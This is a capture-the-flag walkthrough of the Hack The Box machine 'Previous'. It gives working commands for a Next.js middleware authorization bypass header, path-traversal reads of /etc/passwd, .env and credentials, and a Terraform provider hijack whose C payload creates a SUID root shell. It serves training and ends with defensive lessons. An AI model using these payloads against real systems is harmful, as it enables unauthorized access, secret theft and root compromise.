Machine: Previous
Platform: Hack The Box
Difficulty: Medium
OS: Linux
Focus: Next.js middleware auth bypass, LFI with secret leakage, credential extraction, and privilege escalation via Terraform plugin hijacking


Executive Summary

Previous is a Linux machine that exposes real-world vulnerabilities in modern web applications.
The attack chain includes:

  • Next.js middleware authorization bypass (CVE-2025-29927)
  • Local File Inclusion (LFI) through an insecure download endpoint
  • Information disclosure and credential leakage
  • Privilege escalation via Terraform provider hijacking

This write-up walks through each issue and shows practical exploitation techniques.


Enumeration

Port Scanning

We start with a full scan to identify exposed services:

nmap -p- -sC -sV --open -oN nmap/previous.txt 10.10.11.83

Result:

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Only two ports are open: SSH (22) and HTTP (80).


Web Enumeration

To identify the stack, we check headers and content:

curl -sI http://10.10.11.83 | rg -i 'server|x-powered-by|location'

Obtained:

  • Server: nginx/1.18.0 (Ubuntu)
  • Application: Next.js (via X-Powered-By)
  • Redirects to: http://previous.htb/

We also look for exposed emails in the page source:

curl -s http://10.10.11.83 | rg -o 'jeremy@previous\.htb'

We find jeremy@previous.htb.

Add the host locally:

printf '10.10.11.83 previous.htb\n' | sudo tee -a /etc/hosts > /dev/null

Using Wappalyzer we confirm the Next.js version:

next: 15.2.2

Route Discovery

We enumerate directories with FFUF:

ffuf -u http://previous.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,307,308

Relevant results:

200 - http://previous.htb/
200 - http://previous.htb/signin
307 - http://previous.htb/api
307 - http://previous.htb/docs
308 - http://previous.htb/cgi-bin/

The /docs endpoint returns 307, suggesting middleware-based protection.


Initial Access

Next.js Middleware Auth Bypass (CVE-2025-29927)

Next.js versions 11.1.4 through 15.2.2 allow middleware authorization bypass via a crafted header.
We add x-middleware-subrequest and access /docs without a valid session:

wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' http://previous.htb/docs

Response:

<title>PreviousJS Docs</title>
<p>Logged in as <b>???</b></p>

The page loads, but we are authenticated as “???”: bypass confirmed.


Local File Inclusion (LFI)

Inside /docs/examples we find download links like:

/api/download?example=<filename>

We test path traversal to read /etc/passwd:

wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../etc/passwd"

Output:

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/bin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/

Important things:

  • node has shell access (/bin/sh)
  • nextjs has no shell assigned
  • SSH is enabled (user sshd present)

Information Gathering via LFI

Environment Variables

curl -s --header 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../app/.env"

Critical finding:

NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

This secret is used to sign JWTs in NextAuth.


package.json

wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../app/package.json"
{
  "private": true,
  "scripts": {
    "dev": "next dev",
    "build": "next build"
  },
  "dependencies": {
    "@mdx-js/loader": "^3.1.0",
    "@mdx-js/react": "^3.1.0",
    "@next/mdx": "^15.3.0",
    "@tailwindcss/postcss": "^4.1.3",
    "@tailwindcss/typography": "^0.5.16",
    "@types/mdx": "^2.0.13",
    "next": "^15.2.2",
    "next-auth": "^4.24.11",
    "postcss": "^8.5.3",
    "react": "^18.2.0",
    "react-dom": "^18.2.0",
    "tailwindcss": "^4.1.3"
  },
  "devDependencies": {
    "@types/node": "22.14.0",
    "@types/react": "19.1.0",
    "typescript": "5.8.3"
  }
}

/proc/self/environ

curl -s --header 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../proc/self/environ" | tr '\0' '\n'

Key variables:

NODE_VERSION=18.20.0
PORT=3000
NODE_ENV=production

Credential Discovery in the Next.js Build

Next.js production builds live in .next/.
This folder contains compiled server routes and bundles.

Routes Manifest

wget -qO- --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../app/.next/routes-manifest.json"
{
  "page": "/api/auth/[...nextauth]",
  "regex": "^/api/auth/(.+?)(?:/)?$"
}

This points to the compiled file:

.next/server/pages/api/auth/[...nextauth].js

Extracting the Compiled JS

wget -qO nextauth.js --header='x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  "http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js"

The raw file is minified and includes unrelated strings, for example:

Get Oussama Djelloul's stories in your inbox
Join Medium for free to get updates from this writer.

Enter your email
Subscribe

We use an online beautifier:

https://beautifier.io/

Credentials found after formatting:

username: "jeremy"
password: "MyNameIsJeremyAndILovePancakes"

User Flag

SSH Access

ssh -p 22 jeremy@previous.htb

Password:

MyNameIsJeremyAndILovePancakes

Flag Capture

head -n 1 user.txt
[USER_FLAG_HERE]

Privilege Escalation

Sudo Enumeration

sudo -l -U jeremy
User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir=/opt/examples apply

We can run Terraform as root in a specific directory.


Command Verification

sudo /usr/bin/terraform -chdir=/opt/examples apply -no-color

Output:

Warning: Provider development overrides are in effect
The following provider development overrides are set in the CLI configuration:
 - previous.htb/terraform/examples in /tmp
Error: Failed to load plugin schemas
Could not load the schema for provider previous.htb/terraform/examples:
failed to instantiate provider "previous.htb/terraform/examples":
Unrecognized remote plugin message
Additional notes about plugin:
  Path: /tmp/terraform-provider-examples
  Mode: -rwxrwxr-x
  Owner: 1000 [jeremy] (current: 0 [root])
  Group: 1000 [jeremy] (current: 0 [root])

Important things:

  • Override path: /tmp
  • Expected plugin name: terraform-provider-examples
  • Executed as root, but controlled by jeremy

This allows provider hijacking.


Exploitation Strategy

  1. Build a malicious binary using the provider’s expected name.
  2. Drop it into /tmp/terraform-provider-examples.
  3. Execute the sudo Terraform command.
  4. Terraform loads and runs the provider as root.
  5. The payload creates a SUID bash for privilege escalation.

Malicious Provider

#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("cp /bin/bash /tmp/rootbash");
    system("chmod +s /tmp/rootbash");
    return 0;
}

Compilation and deployment:

cc -O2 /tmp/exploit.c -o /tmp/terraform-provider-examples
chmod 755 /tmp/terraform-provider-examples
stat -c '%A %U %G %n' /tmp/terraform-provider-examples

Example output:

-rwxr-xr-x jeremy jeremy /tmp/terraform-provider-examples

Execution and Root

sudo /usr/bin/terraform -chdir=/opt/examples apply -no-color

Verify the SUID bash:

stat -c '%A %U %G %n' /tmp/rootbash
-rwsr-sr-x root root /tmp/rootbash

Spawn a privileged shell:

/tmp/rootbash -p
id

Output:

uid=1000(jeremy) gid=1000(jeremy) euid=0(root) egid=0(root) groups=0(root),1000(jeremy)

Root Flag

head -n 1 /root/root.txt
[ROOT_FLAG_HERE]

Lessons Learned

  • Middleware auth is not a security boundary; enforce authorization at the route and API layer.
  • Any file download endpoint must validate and normalize paths to prevent LFI.
  • Secrets in .env and build artifacts are high-impact exposure; isolate and restrict access.
  • Never embed plaintext credentials in compiled server bundles or configs.
  • Terraform provider overrides in writable paths can become root RCE; lock down plugin paths.

Reference

This write-up is based on my own analysis and learning process.

Expanded notes, scripts, and references: https://github.com/lameiro0x/pentesting-path-htb